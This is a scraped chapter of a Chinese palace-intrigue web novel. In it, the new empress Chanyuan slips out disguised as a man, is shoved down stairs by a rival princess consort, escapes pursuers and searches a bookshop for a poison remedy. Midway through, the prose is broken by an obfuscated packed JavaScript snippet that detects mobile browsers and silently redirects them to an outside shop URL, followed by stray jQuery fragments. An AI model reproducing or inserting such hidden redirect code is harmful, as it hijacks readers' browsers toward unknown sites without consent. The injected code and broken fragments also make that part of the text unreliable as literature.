文趣网 > 其他小说 > 清君侧 > 123. 第 123 章
    婵鸢甫一回了家才发觉,琼华楼外,贺喜的官员几乎踏破了门槛。

    来访的宾客中有付家族中旁支的,有从前东宫麾下的,还有八竿子打不着的远亲拐着弯托人递贺帖的,林林总总,竟将一楼堆满了礼品。

    付明谦和宋莲心躲避不得,只好留在正厅迎客,将前来道贺的宾客一概推说“小女在宫中服侍陛下”,好容易打发了一批又一批,才在回廊上看见婵鸢独自一人走回来。

    宋莲心快步迎上去,见女儿面色如霜,忧心道:“女儿,你怎么回来了?”

    婵鸢勉强扯了扯嘴角:“陛下正在举行登基大典,人多眼杂,我不愿留在宫中,就回家了。”

    付明谦皱眉:“这般说辞?莫不是陛下给你气受了?”

    “不是,爹。”婵鸢拉着他的手,努力让自己微笑起来:“我想一个人待会儿。”

    宋莲心见婵鸢独自回了房,低声道:“女儿似乎并不开心,这事,不回去就不回去吧。”

    付明谦叹了口气:“你就是惯着她的脾气,不过陛下也有几分责任,咱们这位新君,是个工于心计的,他什么都不愿和婵鸢说,自然会伤了她的心,皇家夫妻是夫妻,更是君臣,这个道理她不会不明白,就是用了心,方才觉得伤心。”

    宋莲心默了默:“毕竟是天家富贵,总是难以周全。”

    付明谦一时无言,看着女儿紧闭的房门,心疼极了:“所以咱们的女儿,便更加难受了。”

    婵鸢一回了房便没了笑脸,她疲惫地坐下,又看到桌上的一封手书,九叔送来的。

    她打开一观。

    「婵鸢吾侄。

    木已成舟,娘娘保重。

    经上次与娘娘长谈,深觉你一路走来,步步维艰。昔日你我叔侄争执不休,政见相悖,数次针锋相对、各执一词。我固守旧念,固执己见,屡屡以固执决定干涉你心绪,左右你抉择,徒增你无数内耗与为难,是为叔之过。

    此番历经风波,看透朝局沉浮,亦看懂你心性坚韧,更懂陛下与你的万般不易,其中苦楚与坚守,我如今尽数体谅。

    过往所有分歧,皆随时局散尽。自此,为叔不再执拗己见,不再干预你私情家事,不再以长辈身份桎梏你的心意。

    你只管安心执掌后宫,随心相守良人。前朝风雨诡谲、百官制衡博弈,尽数交于我身。叔侄同心,内外相护,再无争执隔阂,唯余守望相护。

    付明毓谨书」

    婵鸢抚摸着信,也不知说什么好,说她和皇帝吵架了?九叔那老古板,非得把她耳根磨出茧子来。

    尽管她与九叔之间的关系仍旧夹生,只不过,相比于前世夺位后被陆观澜残杀的结局,如今九叔归顺于沈玄苏,还愿与她说说心里话,已是最好的天意,其余的,交给时间吧。

    婵鸢将信折起来,就坐在屏风后,看着门外,雨盈陪着宋莲心将客人们迎来送往,又想着前世这小丫头和她一同死去,今生如此逍遥自在,何尝不好?

    总之,她不会再带雨盈进宫了,少拖累一人便是一人吧,万一前世的死局仍未被破解呢?这也是不可说的呀。

    傍晚时分,宋莲心推门进来,她上了年纪,十分畏寒,裹着一身厚斗篷,在梳妆台前坐下,握着婵鸢的手,欲言又止了好一会儿。

    “你同陛下置气,何苦把自己关在家里?”

    宋莲心伸手替她拢了拢散在颊边的碎发:“他如今是天子,你是皇后,许多委屈无法对外人说起,娘知道你不痛快。可男人家,尤其是坐到那个位子上的男人,哪有不藏些心事的?你九叔当年辅佐先帝,多少事是先做了才禀的,你父亲不也是这般瞒着我?生气归生气,上牙没有不碰下牙的,可生气之后要如何面对夫妻关系,你可要仔细斟酌啊。”

    “娘。”婵鸢清凌凌地看着她,“我气得不是他的脾气,是他从未信过我。他今日登基,封我为后,我是最后一个知道的,这叫什么事?"

    宋莲心却并未同她惹气,只是拍了拍她的手背,起身道:“既如此,娘知道了,也确实怨不得你。你不想回宫,就在这住着,别跟自己过不去,想去哪里,叫人陪着你就是。”

    婵鸢点点头,送走娘,她也不愿窝在屋子里了,起身翻了翻柜子,找出一件从前备下的男装,靛蓝色的直裰,腰封束紧,她将头发尽数拢进巾帻里,又取了一柄折扇掩面。

    即刻间,铜镜里映出一个眉清目秀的年轻公子,下颌线条柔和了些,但若不细看,倒也辨不出雌雄。

    她揣了银子,从后门溜了出去。

    不想见人,不想听贺喜,不想听任何人说“皇后娘娘万安”,她只想找个地方坐坐,喝杯酒,把脑子里那些乱七八糟的东西清空。

    云京的夜在国丧期间素来冷清,但新帝登基,民间禁令稍松,街面上总算恢复了几分生气,前朝时,云京所有官私乐坊不得在国丧期间迎客唱曲、摆宴听乐,但先帝时便改了规矩,只皇室服丧,民间百姓照旧各自经营各自的营生。

    婵鸢沿着长街走了两条巷子,拐进一家名叫「醉月楼」的乐坊,这地方她从前来过几次,繁华热闹,往来多是摆阔的富商公子和世家子弟,小厮不会盘问她的身份,进了这个门,有银子就是爷。

    婵鸢有的是银子,小厮眉开眼笑地将她带至二楼。

    她要了一壶温酒并几碟果子,楼下的琵琶女正拨弦唱一支《梅花落》,曲子唱到一半,她忽然觉得有道目光落在自己身上。

    侧头一看,邻桌坐着一个人。

    墨兰织锦的长袍,手里握着一只青瓷杯,正似笑非笑地看着她,正是叶亭。

    婵鸢冷眼回头。

    叶亭果然端着酒杯走过来,在她对面坐下,压低了声音道:“好巧,付公子。”

    “你认错人了。”婵鸢饮茶低头看琵琶女。

    叶亭笑了笑,折扇一展,挡住两人之间的视线:“你这张脸,化成灰我都认得。”

    婵鸢瞪了他一眼:“我今日没心情陪你玩,回去给你的晋王当走狗去吧!”

    叶亭却不为所动:“效忠你或是效忠他,有什么区别吗?”

    婵鸢手里的茶猛的泼到他脸上,她扬手便是一巴掌,恨声道:“你怎么能这么没骨气?”

    这一巴掌在乐坊二楼不算太响,但也足够引来几道好奇的目光,叶亭被打得偏了偏头,但他反应极快,一把攥住婵鸢的手腕将她按回座位上,另一只手展开折扇遮住两人,低声道:“阿婵,你这一巴掌打得不冤,我认了。但这里人多眼杂,你想让全云京都知道皇后娘娘女扮男装出来听曲打人?”

    婵鸢手腕被他攥得生疼,挣了两下没挣开,咬着牙道:“你敢威胁我?叶亭,你是个畜生,我恨不得把你的头拧下来去喂狗,再不放开我,我半夜就去要你的命!”

    叶亭看见她满眼的杀意和猩红的委屈,松开她的手腕,别过脸去,“陪我坐一会,然后我放你走。”

    婵鸢起身就要走,叶亭又来拉她。

    “叶公子。”

    婵鸢抬眸望去,楼梯口是虞霏,素衣白裳,云髻高挽,鬓边只簪着一支朴素的玉簪,面容憔悴,显然是跟着二皇子守灵熬出来的。

    虞霏身后跟着两个侍女,她目光扫过二楼,落在叶亭身上,又落在他对面那个靛蓝直裰的清秀少年身上,眼底闪过一丝了然。

    “我说怎么约你出来你推三阻四的,原来是另有约了。”虞霏踱步过来,居高临下地打量了婵鸢一眼,没认出来,只当是个面生的男宠,“叶公子好眼光,这小公子倒是生得标致。”

    叶亭面不改色道:“王妃说笑了。”

    虞霏坐下道:“好啦,管他是谁,左右与我无关。我今日来是有话与你说,闲杂人等回避一下罢。”

    她朝婵鸢扬了扬下巴,目光里带着毫不掩饰的轻慢。婵鸢正愁没有由头脱身,顺势起身拱了拱手,低声道:“在下告退。”

    她转身往楼梯口走去,走到楼梯拐角处时,身后的对话声隐约传来。

    “你如今是晋王的人,我本不该私下来见你,可我家殿下现在一心向着陛下,天天在府里跟我说什么君臣大义,听得我心酸……我可是虞家女,陛下今日一下了朝便对虞家动了手,旁支的抄的抄、贬的贬,梵声哥哥也被贬去了忻州,家里家外,唯独留了我一个在云京,可我知道,陛下对我们下手是迟早的事,他眼里容不得沙子。”

    叶亭道:“那王妃今日来找我,是想要我做什么?”

    虞霏道:“晋王不日必会举兵,我拦不住二殿下,也不想拦他背叛皇帝。我只想求你一件事,如果真到了那天,你和晋王的人马打进云京来,留我夫君一命。我愿意带着他走,离开云京,去江南也好、去边地也罢,过我们自己的日子去。他不会碍着你们的事。”

    婵鸢静静听着,二皇子府的王妃,居然在私下求叶亭留自己夫君一命?

    二皇子向新帝投诚,换来了虞霏的活路,却也把自己架在了晋王与沈玄苏两股势力之间,虞霏求叶亭手下留情,说明她笃信晋王会赢,又或者她只是不敢赌谁是赢家,她只想让二殿下活命。

    这很好理解,毕竟他们才是夫妻,二殿下既没有治国之才,也没有定国之策,那么独善其身自然是最佳。

    婵鸢没有继续听下去,加快脚步往下走。

    刚到楼梯中段,身后传来急促的脚步声,虞霏不知何时结束了谈话,从后面跟了下来。

    “站住。”虞霏在身后喊了一声。

    婵鸢没有回头。

    虞霏的性子本就急躁,见一个不知名姓的男宠竟敢无视自己的命令,心头火起,伸手便推了婵鸢一把:“你在无视本王妃吗?”

    楼梯上铺着薄薄一层绒毯,底下是坚硬的木板,婵鸢没有防备,脚下一滑,整个人朝前扑去,膝盖重重磕在台阶边缘,然后一路滚了下去。

    后脑撞在楼梯底的柱子上,眼前一阵发黑,耳朵里嗡嗡作响,她趴在地上缓了几息,撑着胳膊肘爬起来,额角蹭破了一块皮,殷红的血珠顺着眉骨往下淌。

    乐坊里已经有人惊呼出声,几个乐师停了曲子,纷纷望过来。

    虞霏站在楼梯中段,也愣了一下,随即冷笑:“就这么一推也站不稳?真是个娇贵人。”

    婵鸢抬手抹了一把额角的血,站起身来,踉踉跄跄上了楼,扬手,狠狠一巴掌掴在虞霏脸上,可以说,比方才打叶亭那一下更响。

    她也算是报了仇。

    虞霏整个人被打得后退半步,捂着脸瞪大了眼,簪子歪到一边,簪尖戳进发髻里,狼狈至极。

    “你——”虞霏又惊又怒,指着婵鸢的手指微微发抖,“来人!给我拿下他!”

    她身后的两个侍女应声上前,婵鸢已经转身朝乐坊外奔去。

    夜风灌进领口,她边跑边扯掉头上的巾帻,散开长发,靛蓝直裰在奔跑中翻卷,系带飘飘,在凛凛北风中翩翩起舞。

    拐进一条暗巷时,她迅速将外袍翻面,因为这件衣裳是特制的,靛蓝翻过来是素青女装,她又将长发草草挽了个髻,快步汇入主街的人流,以袖子遮额头,扮作路人。

    身后追兵将至未至,她正穿行在人群里寻找岔路,有些头晕目眩,忽然一只手从侧面伸出来,攥住了她的胳膊。

    婵鸢下意识抬手。

    “我的妈呦,主子,您怎么在这?”蓝峥似乎是恰好路过此处,看见了她额角的伤,吓得魂都要飞了:“快随我回家!”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900213|204295||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>婵鸢这才放下手,颓然脱力般指了指身后:“看……”

    蓝峥看清了追兵,眯了眯眼,一把将她护在身后,低声道:“交给我。”

    他对来人冷声道:“叶亭,她额角上的伤是不是你干的?你还记不记得她是谁?”

    叶亭站在寒夜中,目光凶狠:“蓝峥,把她还给我。”

    蓝峥冷笑道:“那就从我的尸体上跨过去。叶亭,从前呢,我打架偶尔会输给你,但今日不会,她是我的主子,我用这条命护着她,你,休想靠近她一步。”

    蓝峥说罢将婵鸢拦腰抱起,飞快掠过屋檐,叶亭紧随其后,蓝峥轻车熟路地将婵鸢送到一处医馆,又飞跃至半空,拦住了叶亭,将他引开。

    婵鸢捂着满头的血,靠在医馆后堂的榻上。

    是位女郎中,她将婵鸢额角的伤包扎好,细白的纱布缠了两圈,手法利落,末了让小徒弟递给她一碗温热的安神汤,叮嘱道:“姑娘,你这伤看着不深,但撞到了后脑,今夜最好别挪动,就在这歇着,明早若是不晕再走。”

    婵鸢接过汤碗道了谢。

    医馆前堂还亮着灯,几个等着抓药的病患稀稀拉拉地坐着,她便在窄榻上休息着,将素青外衫拢紧了,低头喝那碗安神汤。

    药汁温热微苦,入腹后倒确实让翻涌的头晕缓和了些,只是腹内有些不适,说不出的感觉,倒也不妨事。

    她刚搁下碗,有人就掀帘闯了进来。

    “你方才有没有见到一个受了伤的年轻男子?穿靛蓝色衣裳,额角有伤,大约这么高。”

    来人比划了一下,语气急切。

    女郎中抬眼看了看来人,“我今夜只接了一位伤患,是个年轻妇人,就在里头歇着呢。军爷要不要进来看看?”

    来人的目光越过药柜,朝后堂望了一眼。

    婵鸢垂着头,鬓边碎发垂落,遮住大半张脸,只余一个柔和的侧影,那人扫了一眼,见确实是个女子,便丢下一句“打扰了”便转身离去。

    女郎中回身看了她一眼,什么也没问,只将帘子重新放下来,婵鸢低声道了句:“谢谢。”

    女郎中却道:“都是女子,有些事情说不出口,我理解你的难处,唉,也是如今世道太乱了,你别多想,安心睡吧。”

    婵鸢点头,又躺回窄榻上,盯着头顶微微剥落的房梁发呆。

    安神汤的药力渐渐泛上来,脑子里那些翻来覆去的画面像被盖了一层薄纱,模糊了些,酸楚却还在。

    夜渐深,医馆里终于安静下来,前堂的灯也熄了大半。

    婵鸢迷迷糊糊正要入睡时,便听见隔壁隔间传来说话声,她本没有在意,闭着眼翻了个身,却听见女郎中说了一句:“……倒确实有一味偏方,专攻沉疴久毒,只是方子不全,缺了几味引子,我也未曾亲眼见过,陛下既然派了人到处寻找药方,想必十分要紧。”

    她的小徒弟问:“师父可还记得是哪本古籍?”

    “名唤《骨伤旧毒辑录》,城南那边有一条古书肆街,兴许那里头就有。不过,那药方太过偏门,即便找到了,也未必有人敢给陛下用。以毒攻毒的法子,稍有不慎便是催命符,咱们还是不要趟这浑水,过我们的安生日子就好……”

    婵鸢捂着耳朵,翻了个身,把脸埋进枕头里,用力闭上眼睛。

    第二天一早,天刚蒙蒙亮,婵鸢便辞了女郎中,独自沿街往城南去了。

    其实她也没有想好,若是找到了要给谁。但若不去找,她又良心不安。

    街上行人还不多,她换了件布衣百姓的衣衫,用一块帕子半遮着额角的纱布,绕过几条巷子,找到汲古书肆门前。

    这是一家开了几十年的旧书铺子,铺了两层,楼上楼下堆满了书册,连廊柱旁都垒着厚厚的线装本,陈年的墨香,纸页微腐,不论是否能在这书肆里找到书,都已经是婵鸢最后的希望了。

    店家没注意到有客人来,正趴在柜台后头翻簿册,听蝉鸢说要找西域流散的旧医书,他上下打量了她几眼,慢吞吞地道:“西域的旧书倒是收了一批,不过堆在二楼最里头,落了好几年灰了,姑娘要自己翻吗?”

    “正有此打算,多谢店家。”婵鸢点了点头,沿着窄窄的木梯上了二楼。

    楼上的光线比楼下更暗,窗子开得小,几缕晨光斜斜地投进来,照亮浮动的细尘在光束中舞动。

    她轻手轻脚地绕过几摞高及腰际的书堆,在最深处找到了一个积满灰尘的藤箱,箱子半敞着,露出里面泛黄卷边的书册,似乎有点意思。

    她蹲下来,一本一本地翻。

    有些是佛经,有些是地理志,有些是看不懂的异域文字。翻到箱底时,才看见一本薄薄的册子,封面已经残破了大半,只余一个模糊的墨字——毒。

    她小心翼翼地将书册抽出来,拂去上面的灰,心道差不多该是这一本。

    就在这时,楼下传来一个声音。

    “店家,有没有那种详细描写了西域毒术的医术?”

    店家的声音响起来:“我也不知道,今日怎么都盯着这书来买?罢了,许是陛下发布了悬赏诏令的缘故。公子,你去二楼找吧。”

    婵鸢抓着书册,整个人僵在了二楼的书堆之间,来不及多想,她将书放在二楼的楼梯口,确保赤宁能一眼看见,便快步走到二楼另一侧的窗边。

    窗子底下是一条窄巷,堆着几个空藤筐,想逃走这里是唯一出路。

    她咬了咬牙,翻身爬出窗台,踩着一只藤筐跳了下去,脚踝不慎扭了一下,火辣辣地疼,她也顾不上了,捂着怀里的书册,一瘸一拐地钻进巷子深处,拐了两个弯,靠在一面背风的墙根下,大口大口地喘着气,这才确认,她终于甩掉了赤宁。